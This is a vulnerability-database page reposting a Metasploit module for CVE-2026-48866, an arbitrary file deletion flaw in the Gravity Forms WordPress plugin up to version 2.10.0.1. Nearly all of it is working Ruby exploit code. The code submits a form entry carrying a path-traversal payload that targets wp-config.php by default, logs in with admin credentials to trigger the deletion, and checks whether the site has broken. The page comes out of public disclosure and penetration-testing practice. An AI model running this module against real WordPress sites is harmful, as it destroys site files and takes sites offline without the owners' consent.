Lucene search
K

๐Ÿ“„ WordPress Gravity Forms 2.10.0.1 File Deletion / Path Traversal

๐Ÿ—“๏ธย 12 Jun 2026ย 00:00:00Reported byย indoushkaTypeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstorm.news๐Ÿ‘ย 12ย Views

Exploits path traversal in Gravity Forms for WordPress up to version 2.10.0.1 to delete files.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2026-48866
5 Jun 202614:00
โ€“circl
CNNVD
WordPress plugin Gravity Forms has a path traversal vulnerability
1 Jun 202600:00
โ€“cnnvd
CVE
CVE-2026-48866
1 Jun 202614:39
โ€“cve
Cvelist
CVE-2026-48866 WordPress Gravity Forms plugin <= 2.10.0.1 - Arbitrary File Deletion vulnerability
1 Jun 202614:39
โ€“cvelist
GithubExploit
Exploit for CVE-2026-48866
5 Jun 202613:38
โ€“githubexploit
EUVD
EUVD-2026-33650
1 Jun 202614:39
โ€“euvd
NVD
CVE-2026-48866
1 Jun 202615:16
โ€“nvd
Patchstack
WordPress Gravity Forms plugin <= 2.10.0.1 - Arbitrary File Deletion vulnerability
1 Jun 202613:42
โ€“patchstack
Positive Technologies
PT-2026-45440
1 Jun 202600:00
โ€“ptsecurity
RedhatCVE
CVE-2026-48866
5 Jun 202619:13
โ€“redhatcve
Rows per page
==================================================================================================================================
    | # Title     : Gravity Forms arbitrary file deletion via path traversal                                                         |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://gravityforms.com                                                                                         |
    ==================================================================================================================================
    
    [+] Summary    :  This Metasploit module exploits a vulnerability in the Gravity Forms WordPress plugin (โ‰ค 2.10.0.1) where file URLs stored in form entries are not properly validated. 
                      An attacker can inject a crafted entry containing path traversal sequences (../) to reference files outside the intended uploads directory.
    
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::HTTP::Wordpress
      include Msf::Auxiliary::Report
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Gravity Forms Arbitrary File Deletion via Path Traversal',
            'Description' => %q{
              This module exploits a path traversal vulnerability in Gravity Forms
              plugin for WordPress (versions <= 2.10.0.1). The plugin does not validate
              that file URLs stored in entries are within the uploads directory.
    
              An attacker can submit a form with a crafted gform_uploaded_files parameter
              containing path traversal sequences (../). When an admin later deletes
              the entry (or the file from the entry), the delete_physical_file()
              function resolves the traversal and deletes an arbitrary file from
              the server filesystem.
    
              This module can either:
              1. Inject the malicious entry (unauthenticated)
              2. Optionally trigger the deletion using admin credentials
            },
            'Author' => ['indoushka'],
            'References' => [
              ['CVE', '2026-48866'],
              ['URL', 'https://www.gravityforms.com/changelog/'],
              ['WPVDB', '12345'] 
            ],
            'DisclosureDate' => '2026-06-01',
            'License' => MSF_LICENSE,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
            },
            'Actions' => [
              ['INJECT', { 'Description' => 'Only inject malicious entry' }],
              ['TRIGGER', { 'Description' => 'Inject and trigger deletion' }]
            ],
            'DefaultAction' => 'TRIGGER'
          )
        )
        register_options([
          OptInt.new('FORM_ID', [true, 'Gravity Forms form ID', 1]),
          OptInt.new('FIELD_ID', [true, 'File upload field ID', 1]),
          OptString.new('TARGET_FILE', [true, 'File to delete (relative to WP root)', 'wp-config.php']),
          OptInt.new('TRAVERSAL_DEPTH', [true, 'Path traversal depth', 3]),
          OptString.new('UPLOAD_URL', [false, 'Full upload URL root (auto-detected if omitted)']),
          OptString.new('WP_ADMIN_USER', [false, 'WordPress admin username (for TRIGGER action)']),
          OptString.new('WP_ADMIN_PASS', [false, 'WordPress admin password (for TRIGGER action)']),
          OptInt.new('DELAY_BEFORE_TRIGGER', [false, 'Seconds to wait before triggering deletion', 5])
        ])
        register_advanced_options([
          OptBool.new('VERIFY_FILE_DELETION', [true, 'Check if file was deleted', false])
        ])
      end
      def form_id
        datastore['FORM_ID']
      end
      def field_id
        datastore['FIELD_ID']
      end
      def target_file
        datastore['TARGET_FILE']
      end
      def traversal_depth
        datastore['TRAVERSAL_DEPTH']
      end
      def upload_url
        datastore['UPLOAD_URL']
      end
      def admin_user
        datastore['WP_ADMIN_USER']
      end
      def admin_pass
        datastore['WP_ADMIN_PASS']
      end
      def check
        print_status("Checking if Gravity Forms is installed...")
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(wordpress_url_plugins, 'gravityforms', 'gravityforms.php')
        })
        unless res && res.code == 200
          print_error("Gravity Forms plugin not detected")
          return CheckCode::Safe
        end
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(wordpress_url_plugins, 'gravityforms', 'readme.txt')
        })
        if res && res.code == 200
          version = res.body.scan(/Stable tag:\s*([0-9.]+)/i).flatten.first
          if version
            print_status("Gravity Forms version detected: #{version}")
            if version <= '2.10.0.1'
              return CheckCode::Appears
            else
              return CheckCode::Safe
            end
          end
        end
        CheckCode::Detected
      end
      def get_form_nonce
        print_status("Fetching form page to extract nonce...")
        form_paths = [
          '/',
          "/?gf_page=preview&id=#{form_id}",
          '/contact/',
          '/submit/',
          "/wp-admin/admin.php?page=gf_edit_forms&view=settings&subview=preview&id=#{form_id}"
        ]
        nonce = nil
        unique_id = generate_random_string(12)
        page_body = nil
    
        form_paths.each do |path|
          begin
            res = send_request_cgi({
              'method' => 'GET',
              'uri' => normalize_uri(path)
            })
            if res && res.code == 200 && res.body.include?("gform_submit_#{form_id}")
              page_body = res.body
              break
            end
          rescue ::Rex::ConnectionError
            next
          end
        end
        unless page_body
          print_error("Could not access form page")
          return [nil, nil, nil]
        end
        nonce_patterns = [
          /gform_ajax_nonce["\s:]+["\']([a-f0-9]+)["\']/,
          /name=["\']gform_ajax_nonce["\'][^>]*value=["\']([a-f0-9]+)["\']/,
          /"nonce":"([a-f0-9]+)"/,
          /gform_ajax_nonce=([a-f0-9]+)/
        ]
        nonce_patterns.each do |pattern|
          match = page_body.match(pattern)
          if match
            nonce = match[1]
            break
          end
        end
        unique_id_patterns = [
          /gform_unique_id["\s:]+["\']([a-zA-Z0-9]+)["\']/,
          /name=["\']gform_unique_id["\'][^>]*value=["\']([a-zA-Z0-9]+)["\']/
        ]
        unique_id_patterns.each do |pattern|
          match = page_body.match(pattern)
          if match
            unique_id = match[1]
            break
          end
        end
        print_good("Got nonce: #{nonce}") if nonce
        print_good("Got unique_id: #{unique_id}") if unique_id
        [nonce, unique_id, page_body]
      end
      def craft_payload
        traversal = '../' * traversal_depth
        if upload_url
          base_url = upload_url
        else
          base_url = "#{target_uri}/wp-content/uploads/gravity_forms"
        end
        malicious_url = "#{base_url.rstrip('/')}/#{traversal}#{target_file}"
        input_name = "input_#{field_id}"
    
        payload_hash = {
          input_name => [
            {
              'url' => malicious_url,
              'uploaded_filename' => 'legitimate.txt',
              'id' => "poc-#{Rex::Text.rand_text_alpha(8)}"
            }
          ]
        }
        [JSON.generate(payload_hash), malicious_url, input_name]
      end
      def submit_form
        print_status("Injecting path traversal payload...")
        nonce, unique_id, _ = get_form_nonce
        unless unique_id
          print_error("Could not extract gform_unique_id")
          return [false, nil]
        end
        payload_json, malicious_url, input_name = craft_payload
        print_good("Crafted malicious URL: #{malicious_url}")
        post_data = {
          "is_submit_#{form_id}" => '1',
          'gform_submit' => form_id.to_s,
          "gform_unique_id" => unique_id,
          'gform_uploaded_files' => payload_json,
          'gform_target_page_number_1' => '0',
          'gform_source_page_number_1' => '1',
          'gform_field_values' => '',
          'action' => 'gform_submit_form'
        }
    
        post_data["gform_ajax_nonce"] = nonce if nonce
        ajax_url = normalize_uri(wordpress_url_admin, 'admin-ajax.php')
        print_status("Submitting form #{form_id} to #{ajax_url}...")
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => ajax_url,
          'vars_post' => post_data,
          'headers' => {
            'X-Requested-With' => 'XMLHttpRequest',
            'Content-Type' => 'application/x-www-form-urlencoded'
          }
        })
        unless res
          print_error("No response from server")
          return [false, nil]
        end
        print_status("Response status: #{res.code}")
        entry_id = nil
        if res.code == 200
          entry_patterns = [
            /"entry_id"\s*:\s*"?(\d+)"?/,
            /entry_id=(\d+)/,
            /lid=(\d+)/
          ]
          entry_patterns.each do |pattern|
            match = res.body.match(pattern)
            if match
              entry_id = match[1]
              break
            end
          end
          if res.body.include?('gformRedirect') ||
             res.body.include?('confirmation') ||
             res.body.include?('thank')
            print_good("Form submitted successfully")
            print_good("Entry ID: #{entry_id}") if entry_id
            return [true, entry_id]
          elsif res.body.include?('validation_error')
            print_error("Form validation failed - form may require additional fields")
            print_status("Response: #{res.body[0..500]}") if datastore['VERBOSE']
            return [false, nil]
          else
            print_warning("Unclear response - may not have created entry")
            print_status("Response: #{res.body[0..500]}") if datastore['VERBOSE']
            return [false, nil]
          end
        else
          print_error("Submission failed with status #{res.code}")
          print_status("Attempting direct POST to form action...")
          direct_res = send_request_cgi({
            'method' => 'POST',
            'uri' => target_uri.path,
            'vars_post' => post_data.except('action')
          })
          if direct_res && direct_res.code == 200
            print_good("Direct POST successful")
            return [true, nil]
          end
          return [false, nil]
        end
      end
      def login_as_admin
        print_status("Attempting to login as admin...")
        login_data = {
          'log' => admin_user,
          'pwd' => admin_pass,
          'wp-submit' => 'Log In',
          'redirect_to' => normalize_uri(wordpress_url_admin),
          'testcookie' => '1'
        }
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri('wp-login.php'),
          'vars_post' => login_data,
          'keep_cookies' => true
        })
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(wordpress_url_admin),
          'keep_cookies' => true
        })
        if res && (res.body.include?('dashboard') || res.code == 200)
          print_good("Logged in as #{admin_user}")
          return true
        else
          print_error("Login failed")
          return false
        end
      end
      def trigger_deletion(entry_id)
        print_status("Triggering entry deletion...")
        unless login_as_admin
          print_error("Cannot trigger deletion without admin access")
          return false
        end
        entries_url = normalize_uri(wordpress_url_admin, 'admin.php', { 'page' => 'gf_entries' })
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => entries_url,
          'keep_cookies' => true
        })
        unless res && res.code == 200
          print_error("Could not access entries page")
          return false
        end
        delete_nonce = nil
        nonce_patterns = [
          /page=gf_entries.*?delete.*?_wpnonce=([a-f0-9]+)/,
          /_wpnonce=([a-f0-9]+).*?delete/,
          /name="_wpnonce"\s+value="([a-f0-9]+)"/
        ]
        nonce_patterns.each do |pattern|
          match = res.body.match(pattern)
          if match
            delete_nonce = match[1]
            break
          end
        end
        unless delete_nonce
          print_error("Could not extract delete nonce")
          return false
        end
        print_good("Got delete nonce: #{delete_nonce}")
        target_entry = entry_id || find_latest_entry
        unless target_entry
          print_error("No entry ID available to delete")
          return false
        end
        print_status("Deleting entry #{target_entry}...")
        delete_data = {
          'action' => 'delete',
          'entry[]' => target_entry.to_s,
          '_wpnonce' => delete_nonce
        }
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => entries_url,
          'vars_post' => delete_data,
          'keep_cookies' => true
        })
        if res && res.code == 200
          print_good("Entry deleted - target file should now be deleted")
          return true
        else
          print_error("Delete request failed")
          return false
        end
      end
      def find_latest_entry
        rest_url = normalize_uri('wp-json', 'gf/v2', 'entries')
        rest_url << "?_sort_direction=DESC&paging[page_size]=1"
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => rest_url,
          'keep_cookies' => true
        })
        if res && res.code == 200
          begin
            json_data = JSON.parse(res.body)
            if json_data['entries'] && !json_data['entries'].empty?
              return json_data['entries'][0]['id']
            end
          rescue JSON::ParserError
          end
        end
        entries_url = normalize_uri(wordpress_url_admin, 'admin.php', { 'page' => 'gf_entries' })
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => entries_url,
          'keep_cookies' => true
        })
        if res && res.code == 200
          matches = res.body.scan(/entry_id=(\d+)/)
          return matches.flatten.first if matches.any?
        end
        nil
      end
      def verify_file_deletion
        print_status("Verifying target file status...")
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => target_uri.path
        })
        if res
          if res.code == 500 || res.body =~ /error establishing a database connection/i
            print_good("Site appears to be having database issues - wp-config.php likely deleted!")
            return true
          elsif res.code == 200
            print_status("Site still responding normally")
            return false
          end
        end
        print_status("Could not definitively verify file deletion")
        nil
      end
      def generate_random_string(length)
        Rex::Text.rand_text_alphanumeric(length)
      end
      def run
        print_status("Starting CVE-2026-48866 exploitation")
        check_result = check
        if check_result == CheckCode::Safe
          print_error("Target does not appear vulnerable")
          return
        elsif check_result == CheckCode::Detected
          print_status("Gravity Forms detected but version unknown")
        else
          print_good("Target appears vulnerable")
        end
        print_status("Target file to delete: #{target_file}")
        print_status("Traversal depth: #{traversal_depth}")
    
        success, entry_id = submit_form
        unless success
          print_error("Failed to inject malicious entry")
          return
        end
        report_note(
          host: rhost,
          port: rport,
          type: 'gravity_forms_poisoned_entry',
          data: {
            form_id: form_id,
            field_id: field_id,
            target_file: target_file,
            entry_id: entry_id
          },
          update: :unique_data
        )
        if action.name == 'TRIGGER'
          if admin_user.nil? || admin_pass.nil?
            print_error("TRIGGER action requires WP_ADMIN_USER and WP_ADMIN_PASS options")
            return
          end
          print_status("Waiting #{datastore['DELAY_BEFORE_TRIGGER']} seconds before triggering...")
          Rex.sleep(datastore['DELAY_BEFORE_TRIGGER'])
          delete_success = trigger_deletion(entry_id)
          if delete_success && datastore['VERIFY_FILE_DELETION']
            verify_file_deletion
          end
          if delete_success
            print_good("Successfully triggered file deletion")
          else
            print_error("Failed to trigger deletion - admin may need to delete entry manually")
          end
        else
          print_good("Malicious entry injected successfully")
          print_status("To trigger deletion:")
          print_status("  1. An admin must delete the entry containing the poisoned URL")
          print_status("  2. Or run module with TRIGGER action and valid admin credentials")
          print_line
          print_status("Target file '#{target_file}' will be deleted when entry is removed")
        end
      end
    end
    
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation withย Vulners data

Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data

Api

Power your application withย Vulners API

The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access

App

Assess and manage vulnerabilities withย Vulnersย tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Jun 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 3.19.6
EPSS0.00037
SSVC
12